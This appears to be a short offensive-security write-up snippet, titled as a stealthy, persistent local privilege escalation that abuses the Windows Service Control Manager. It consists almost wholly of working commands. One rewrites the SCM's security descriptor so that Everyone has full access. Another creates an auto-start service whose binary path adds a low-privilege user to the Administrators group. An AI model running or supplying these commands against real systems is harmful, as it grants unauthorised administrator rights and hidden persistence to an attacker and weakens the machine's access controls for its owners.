PrivEsc: Abusing the Service Control Manager for Stealthy & Persistent LPE - 0xv1n
sc sdset scmanager D:(A;;KA;;;WD)
sc sdshow scmanager
sc create LPE displayName= "LPE" binPath= "C:\Windows\System32\net.exe localgroup Administrators lowpriv /add" start= auto